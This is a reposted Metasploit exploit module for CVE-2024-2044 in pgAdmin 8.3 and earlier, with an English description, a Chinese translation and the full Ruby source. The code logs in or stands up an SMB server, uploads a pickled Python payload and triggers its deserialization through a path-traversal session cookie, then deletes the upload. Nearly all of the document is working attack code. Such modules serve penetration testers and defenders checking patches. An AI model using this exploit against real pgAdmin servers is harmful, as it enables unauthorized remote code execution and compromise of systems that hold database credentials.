pgAdmin 8.3 Remote Code Execution

pgAdmin versions 8.3 and below have a path traversal vulnerability within their session management logic that can allow a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python object to execute code within the context of the target application. This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object using pgAdmin’s file management plugin. Once uploaded, this payload is executed via the path traversal before being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also requires that insecure outbound guest access be enabled. Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin underwent changes in the 6.x versions and therefore, pgAdmin versions below 7.0 cannot utilize the authenticated technique whereby a payload is uploaded.
pgAdmin 版本 8.3 及更低版本在其会话管理逻辑中存在路径遍历漏洞,该漏洞允许从任意位置加载酸洗文件。这可用于加载恶意的序列化 Python 对象,以在目标应用程序的上下文中执行代码。此漏洞利用支持两种技术,通过这些技术可以加载有效负载,具体取决于是否指定了凭据。如果提供了有效的凭据,Metasploit 将登录 pgAdmin 并使用 pgAdmin 的文件管理插件上传有效负载对象。上传后,此有效负载将通过路径遍历执行,然后使用文件管理插件将其删除。此技术适用于 Linux 和 Windows 目标。如果未提供凭据,Metasploit 将启动 SMB 服务器并尝试触发通过 UNC 路径加载有效负载。此技术仅适用于 Windows 目标。对于 Windows 10 v1709 (Redstone 3) 及更高版本,它还要求启用不安全的出站来宾访问。在 Linux 上的 pgAdmin 8.3、Linux 上的 7.7、Linux 上的 7.0 和 Windows 上的 8.3 上进行了测试。文件管理插件在 6.x 版本中发生了变化,因此,低于 7.0 的 pgAdmin 版本无法使用上传有效负载的身份验证技术。

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pgAdmin Session Deserialization RCE',
        'Description' => %q{
          pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow
          a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python
          object to execute code within the context of the target application.

          This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials
          are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object
          using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before
          being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no
          credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a
          UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also
          requires that insecure outbound guest access be enabled.

          Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin
          underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated
          technique whereby a payload is uploaded.
        },
        'Author' => [
          'Spencer McIntyre', # metasploit module
          'Davide Silvetti', # vulnerability discovery and write up
          'Abdel Adim Oisfi' # vulnerability discovery and write up
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-2044'],
          ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],
          ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']
        ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Payload' => {},
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 5
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),
      OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),
      OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
    ])
  end

  def check
    version = get_version
    return CheckCode::Unknown('Unable to determine the target version') unless version
    return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4')

    CheckCode::Appears("pgAdmin version #{version} is affected")
  end

  def csrf_token
    return @csrf_token if @csrf_token

    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
    set_csrf_token_from_login_page(res)
    fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
    @csrf_token
  end

  def set_csrf_token_from_login_page(res)
    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
      @csrf_token = Regexp.last_match(1)
    # at some point between v7.0 and 7.7 the token format changed
    elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
      @csrf_token = element['value']
    end
  end

  def get_version
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
    return unless res&.code == 200

    html_document = res.get_html_document
    return unless html_document.xpath('//title').text == 'pgAdmin 4'

    # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
    # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
    versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
    return unless versioned_link

    set_csrf_token_from_login_page(res) # store the CSRF token because we have it
    Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
  end

  def exploit
    if datastore['USERNAME'].present?
      exploit_upload
    else
      exploit_remote_load
    end
  end

  def exploit_remote_load
    start_service
    print_status('The SMB service has been started.')

    # Call the exploit primer
    self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
    trigger_deserialization(unc)
  end

  def exploit_upload
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'csrf_token' => csrf_token,
        'email' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'language' => 'en',
        'internal_button' => 'Login'
      }
    })

    unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
      fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
    end
    print_status('Successfully authenticated to pgAdmin')

    serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)

    file_name = Faker::File.file_name(dir: '', directory_separator: '')
    file_manager_upload(file_name, serialized_data)
    trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")
    file_manager_delete(file_name)
  end

  def trigger_deserialization(path)
    print_status("Triggering deserialization for path: #{path}")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login'),
      'cookie' => "pga4_session=#{path}!"
    })
  end

  def file_manager_init
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'dialog_type' => 'storage_dialog',
        'supported_types' => ['sql', 'csv', 'json', '*'],
        'dialog_title' => 'Storage Manager'
      }.to_json
    })
    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))
      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')
    end

    trans_id
  end

  def file_manager_delete(file_path)
    trans_id = file_manager_init

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'mode' => 'delete',
        'path' => "/#{file_path}",
        'storage_folder' => 'my_storage'
      }.to_json
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to delete file')
    end

    true
  end

  def file_manager_upload(file_path, file_contents)
    trans_id = file_manager_init

    form = Rex::MIME::Message.new
    form.add_part(
      file_contents,
      'application/octet-stream',
      'binary',
      "form-data; name=\"newfile\"; filename=\"#{file_path}\""
    )
    form.add_part('add', nil, nil, 'form-data; name="mode"')
    form.add_part('/', nil, nil, 'form-data; name="currentpath"')
    form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => form.to_s
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
    end

    upload_path = res.get_json_document.dig('data', 'result', 'Name')
    print_status("Serialized payload uploaded to: #{upload_path}")

    true
  end
end

原文始发于Spencer McIntyre, Abdel Adim Oisfi, Davide Silvetti :pgAdmin 8.3 Remote Code Execution

版权声明:admin 发表于 2024年4月27日 下午9:55。
转载请注明:pgAdmin 8.3 Remote Code Execution | CTF导航

相关文章